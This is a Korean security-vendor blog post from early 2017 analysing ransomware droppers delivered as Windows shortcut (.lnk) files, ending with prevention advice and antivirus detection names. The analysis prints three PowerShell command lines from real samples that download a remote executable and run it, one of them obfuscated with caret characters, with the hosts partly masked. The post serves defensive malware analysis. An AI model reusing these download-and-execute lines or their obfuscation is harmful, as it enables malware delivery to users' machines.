2016년부터 2017년 2월 현재까지 랜섬웨어 관련 바로가기(*.lnk) 악성코드가 꾸준히 발견되고 있다.
이메일 등에 첨부 된 형태로 유포되고, 워드 매크로 파일 내부에 존재해 매크로가 실행되면서 실행되기도 한다.
바로가기(*.lnk)는 Shell Link Binary File Format으로 다른 데이터를 접근하는데 필요한 정보를 포함하는 데이터이다.
[그림 1] LNK 구조
바로가기 파일(*.lnk)을 이용한 랜섬웨어는 주로 String Data를 이용하고, 최근 Extra data를 이용한 랜섬웨어도 발견되었다. Spora 랜섬웨어와 VenusLocker가 대표적으로 LNK를 이용한 랜섬웨어다.
랜섬웨어 관련 LNK 악성코드를 크게 세가지로 분류 할 수 있다.
1. 스크립트(*.js, *.vbs, *.vbe 등)를 이용한 악성코드
2. Powershell을 이용한 바로가기(*.lnk)
3. VenusLocker에서 이용하는 바로가기(*.lnk)
발견 시점 |
주요 특징 |
2016년 이전 |
스크립트를 이용한 다운로더 |
2016년 1월 |
Powershell을 이용한 다운로더 |
2016년 11월 |
Powershell에 ‘^’ 문자 추가 |
2017년 1월 |
Powershell에 function, 변수를 이용 |
2017년 1월 |
LNK구조(Extra data block)를 이용 |
[표 1] 2016년 이후 랜섬웨어 관련 바로가기(*.lnk) 악성코드
1. 스크립트(*.js, *.vbs, *.vbe 등)를 이용한 악성코드
2016년 이전에는 바로가기(*.lnk) 악성코드는 .js, .vbs, .vbe 등 스크립트 파일을 실행시키고, 추가 악성행위를 하였으나 작년부터는 바로가기(*.lnk) 악성코드는 powershell을 이용해 악성 파일을 다운로드 하는 형태로 변화하였다.
[그림 2] .vbe를 실행시키는 바로가기(*.lnk)
2. Powershell을 이용한 바로가기(*.lnk)
2016년 1월 최초 발견된 Powershell을 이용한 랜섬웨어 다운로더 형태는 다운로드 주소와 저장되는 폴더/파일명을 평문으로 볼 수 있는 형태였다. [그림 3]
[그림 3] powershell을 이용한 LNK악성코드 (평문 데이터)
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://2**.**4.5**.**5:1**3/KJSA76.exe', '%TEMP%\KJSA76.exe'); Start-Process "%TEMP%\KJSA76.exe" |
[표 2] LNK악성코드 (평문 데이터)
2016년 11월에 발견된 변형은 문자열 사이에 ‘^’ 문자가 추가되었다. 이는 Powershell을 실행하는데 문제는 없지만 백신진단을 우회하기 위해 나온 변형으로 보인다. [그림 4]
[그림 4] Powershell을 이용한 LNK악성코드 (‘^’ 문자)
C:\Windows\System32\cmd.exe /c "P^o^Wer^Sh^e^ll.^exe -exEc^UtIonPolICy bYpaS^S -^NoPrOF^ILe (^N^EW-ob^jEcT systeM.NET.wEB^clIE^nT).DoWnLO^a^d^Fil^e^ ('http://**6.3**.**3.**7/gite.exe','%appDatA%.exE')^;^s^TA^rt^-P^RoceSs^ %appDatA%.exE" |
[표 3] LNK악성코드 (‘^’ 문자)
그리고, 현재 유포되고 있는 형태는 2017년 1월에 발견되었다. 단순 Download 명령을 사용하는
것이 아닌 함수와 변수 등을 이용해 악성 파일을 다운로드 받는 형태로 발전하였다. [그림 5]
[그림 5] Powershell을 이용한 악성코드 (함수, 변수 이용)
-ExecutionPolicyByPass -NoProfile -command function g($f) { Start $f; }; $ll = 'sparkle**.com','res**.com','cre**.com','lu**.com','**.net'; $y = New-Object System.Net.WebClient; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $lk = $fn+'a.txt'; if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { for($i=$ld; $i -lt $ll.length; $i++) { $dn = 0; $f = $fn+'a'+$n+'.exe'; $u = 'http://'+$ll[$i]+'/counter/?i=(생략)&r='+$i+$n; $y.DownloadFile($u, $f); if (Test -Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { $dn = 1; g($f); }; if($dn -eq 1) { $ld=$i; break; }; }; }; }; }; |
[표 4] LNK악성코드 (함수, 변수 이용)
최근 국내에 유포 된 VenusLocker 랜섬웨어도 바로가기(*.lnk)를 이용하여 랜섬웨어를 실행시킨다.
( VenusLocker 랜섬웨어 정보 : http://asec.ahnlab.com/1054 )
[그림 6]과 같이 속성을 보면 자격증.jpg 이미지 파일을 실행하는 것으로 보여 일반 사용자들은 정상 파일로 오인하기 쉽다.
[그림 6] VenusLocker 바로가기(*lnk)
그러나, jpg 확장자의 PE를 실행시키는 악성 바로가기 파일이다.
[그림 7] Extra data Block에 존재하는 악성 실행 파일
Extra Data는 링크 대상에 대한 추가적인 정보를 나타내는 구조체 집합이다. 이 구조체는 기본 Shell Link Binary File Format에 추가 된 extra data section에 존재한다.
**참고자료
MSDN :https://msdn.microsoft.com/en-us/library/dd891253.aspx
악성 코드는 스팸 메일을 통해 유포되고, 문서파일 내부 매크로에 존재하는 경우가 많으므로 출처를 알 수 없는 메일의 첨부파일은 열지 않도록 한다.
그리고, 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.
현재 V3에서는 LNK 악성코드를 다음과 같은 진단명으로 진단하고 있다.
- LNK/Agent (2016.01.15.00)
- LNK/Downloader (2016.01.21.00)
- LNK/Powershell (2016.09.09.00)
- LNK/Runner.Gen (2016.12.22.03)
- LNK/Venuslocker (2017.01.20.00)
'악성코드 정보' 카테고리의 다른 글
스팸메일 및 취약점을 통해 유포되는 Spora 랜섬웨어 (0) | 2017.02.15 |
---|---|
취약점을 통해 유포되는 CryptoMix 랜섬웨어 (0) | 2017.02.15 |
스팸메일을 통해 유포되는 VenusLocker 랜섬웨어 (0) | 2017.01.20 |
사물인터넷 (IoT) 환경 위협하는 악성코드들 (0) | 2016.12.07 |
MS 워드 문서에서 폼 개체를 활용한 악성코드 (0) | 2016.11.28 |
댓글